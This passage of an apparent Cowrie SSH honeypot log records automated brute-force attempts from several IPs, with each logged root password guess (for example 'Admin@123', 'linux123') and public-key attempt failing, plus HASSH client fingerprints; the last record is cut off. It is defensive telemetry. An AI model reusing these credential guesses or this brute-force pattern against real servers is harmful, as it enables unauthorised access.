{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:23.337815Z","src_ip":"43.153.46.75","session":"28e5ad90618e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:23.405146Z","src_ip":"43.153.46.75","session":"28e5ad90618e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoria123","message":"login attempt [root/victoria123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:23.709047Z","src_ip":"43.153.46.75","session":"28e5ad90618e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:24.781088Z","src_ip":"43.153.46.75","session":"28e5ad90618e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":37432,"dst_ip":"10.17.0.5","dst_port":22,"session":"79d0954e3e9e","protocol":"ssh","message":"New connection: 124.121.31.17:37432 (10.17.0.5:22) [session: 79d0954e3e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:29.505581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:29.509197Z","src_ip":"124.121.31.17","session":"79d0954e3e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:29.779559Z","src_ip":"124.121.31.17","session":"79d0954e3e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flintoff","message":"login attempt [root/flintoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:30.874474Z","src_ip":"124.121.31.17","session":"79d0954e3e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":59268,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b1281217e78","protocol":"ssh","message":"New connection: 162.243.147.237:59268 (159.203.135.109:22) [session: 1b1281217e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:31.548580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:31.553293Z","src_ip":"162.243.147.237","session":"1b1281217e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:31.623471Z","src_ip":"162.243.147.237","session":"1b1281217e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:31.935091Z","src_ip":"162.243.147.237","session":"1b1281217e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:32.143320Z","src_ip":"124.121.31.17","session":"79d0954e3e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41778,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaaf66e06ab5","protocol":"ssh","message":"New connection: 103.75.199.4:41778 (159.203.135.109:22) [session: aaaf66e06ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:32.638609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:32.642972Z","src_ip":"103.75.199.4","session":"aaaf66e06ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:32.737469Z","src_ip":"103.75.199.4","session":"aaaf66e06ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:33.007087Z","src_ip":"162.243.147.237","session":"1b1281217e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:33.011870Z","src_ip":"103.75.199.4","session":"aaaf66e06ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:34.105195Z","src_ip":"103.75.199.4","session":"aaaf66e06ab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39464,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed3ebe31194","protocol":"ssh","message":"New connection: 103.75.199.4:39464 (159.203.135.109:22) [session: 1ed3ebe31194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:54.422510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:54.427502Z","src_ip":"103.75.199.4","session":"1ed3ebe31194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:54.518765Z","src_ip":"103.75.199.4","session":"1ed3ebe31194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:54.792996Z","src_ip":"103.75.199.4","session":"1ed3ebe31194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:55.888244Z","src_ip":"103.75.199.4","session":"1ed3ebe31194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":52856,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b93e24b2d25","protocol":"ssh","message":"New connection: 163.7.9.84:52856 (10.17.0.5:22) [session: 7b93e24b2d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:59.007958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:59.017525Z","src_ip":"163.7.9.84","session":"7b93e24b2d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:59.280695Z","src_ip":"163.7.9.84","session":"7b93e24b2d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.145.60","src_port":62784,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b3d4e662fec","protocol":"ssh","message":"New connection: 45.148.145.60:62784 (10.17.0.5:22) [session: 8b3d4e662fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:59.584966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:59.588992Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:21:59.670496Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:c9:a5:ce:59:7b:8a:51:3a:e7:da:a4:d6:5f:04:48","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMNRTQJWY3NCUvF9USKMC15D66ttP6GLCOpV3YSC18U7","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 40:c9:a5:ce:59:7b:8a:51:3a:e7:da:a4:d6:5f:04:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.057755Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:c9:a5:ce:59:7b:8a:51:3a:e7:da:a4:d6:5f:04:48","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMNRTQJWY3NCUvF9USKMC15D66ttP6GLCOpV3YSC18U7","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.061225Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:0b:66:37:b5:95:1a:28:51:0c:f7:08:73:cd:1e:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCDhT6e2i2Hln3EEDFPvrAh8Nv1EyUfbfPpf3Xha54BJ0mdZRsD913IURpwPpFdSJD15fXErMX+a9+WSpLCXkovRshcDuXpIxkxPw9UFZ+XDKQU+OXwbowWp5z0BnEFBHbZwPcIO3W7Y2xqYf4ClH7LN2DGgQ/6HWGZqy845Q5RFyBdUKtZEhS5olzzUqhgx+3q/x5Bf4N1zP7frNueocsVBGbmR/rN1xYRz4ZkTtpIOrlKp2Xpcv0rFsEr8/YtsCAL/oXLh8d6jnqJo/d5wwSr6Tx6r1wyzUHektNJWejk9EFkxnLeUGZuR+zv0ni8M1Z5OlErD99KQY4oZVDWrkIv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:0b:66:37:b5:95:1a:28:51:0c:f7:08:73:cd:1e:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.147435Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:0b:66:37:b5:95:1a:28:51:0c:f7:08:73:cd:1e:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCDhT6e2i2Hln3EEDFPvrAh8Nv1EyUfbfPpf3Xha54BJ0mdZRsD913IURpwPpFdSJD15fXErMX+a9+WSpLCXkovRshcDuXpIxkxPw9UFZ+XDKQU+OXwbowWp5z0BnEFBHbZwPcIO3W7Y2xqYf4ClH7LN2DGgQ/6HWGZqy845Q5RFyBdUKtZEhS5olzzUqhgx+3q/x5Bf4N1zP7frNueocsVBGbmR/rN1xYRz4ZkTtpIOrlKp2Xpcv0rFsEr8/YtsCAL/oXLh8d6jnqJo/d5wwSr6Tx6r1wyzUHektNJWejk9EFkxnLeUGZuR+zv0ni8M1Z5OlErD99KQY4oZVDWrkIv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.154836Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:d4:61:35:8e:08:79:14:d1:22:15:c9:e3:ed:a3:84","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANmIzBSXPH/DTCVNMzYCQB4TcJ9uzVVmjgqE8HfmGS48aFdr0VYgLd/wDebX4/ulbVNefLsMWMqxdxa3Q+l94GKuJU1j7Qtboo5Znng4GaANsb4tsalgt/rVIFdFbhIB4wrlLpIWOYn04QQQOg2FxeiC7BMabE6MUQvJgQIoVoMNAAAAFQCCnI1PV8fLiRGAsTvIaX+LIQtkBQAAAIEAtnR3GNoNPxWV1Ffxv89DD0sl3LwFXpt0Bo9JlA4Caa/OVnOsbxj1xht9DZcBSdmtGjQGMxI9mMDI1HJMFVB4rgrfbqDPESyQevgmxTZjU6rkE7RtI3Jv9PRsPzYeKXQXGeQFlABYMPTawE2V/7SOftjO2wizuBTwdRBresQ6ROoAAACASDrUINDEdbqt4f9VfA+sVpN2CS20tw/efteFDEQNYeZmPWWJuJ6PPxRmcEUixHC7qnG71wmHM2/BpDqZ8tgXdt6eNFlgpT6Evg76OlcpIakFX5CGS7zP4BSYXdpBPiRwab+BLxQcY5eoirLeS/JCUduWnQ+2PFoamdJao78icmQ=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 34:d4:61:35:8e:08:79:14:d1:22:15:c9:e3:ed:a3:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:22:00.244884Z","src_ip":"45.148.145.60","session":"8b3d4e662fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:d4:61:35:8e:08:79:14:d1:22:15:c9:e3:ed:a3:84","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANmIzBSXPH/DTCVNMzYCQB4TcJ9uzVVmjgqE8HfmGS48aFdr0VYgLd/wDebX4/ulbVNefLsMWMqxdxa3Q+l94GKuJU1j7Qtboo5Znng4GaANsb4tsalgt/rVIFdFbhIB4wrlLpIWOYn04QQQOg2FxeiC7BMabE6MUQvJgQIoVoMNAAAAFQCCnI1PV8fLiRGAsTvIaX+LIQtkBQAAAIEAtnR3GNoNPxWV1Ffxv89DD0sl3LwFXpt0Bo9JlA4Caa/OVnOsbxj1xht9DZcBSdmtGjQGMxI9mMDI1HJMFVB4rgrfbqDPESyQevgmxTZjU6rkE7RtI3Jv9PRsPzYeKXQXGeQFlABYMPTawE2V/7SOftjO2wizuBTwdRBresQ6ROoAAACASDrUINDEdbqt4f9VfA+sVpN2CS20tw/efteFDEQNYeZmPWWJuJ6PPxRmcEUixHC7qnG71wmHM2/BpDqZ8tgXdt6eNFlgpT6Evg76OlcpIakFX5CGS7zP4BSYXdpBPiRwab+BLxQcY5eoirLeS/JCUduWnQ+2PFoamdJao78icmQ=","type":"ssh-dss","message":"public key login attempt for [root] 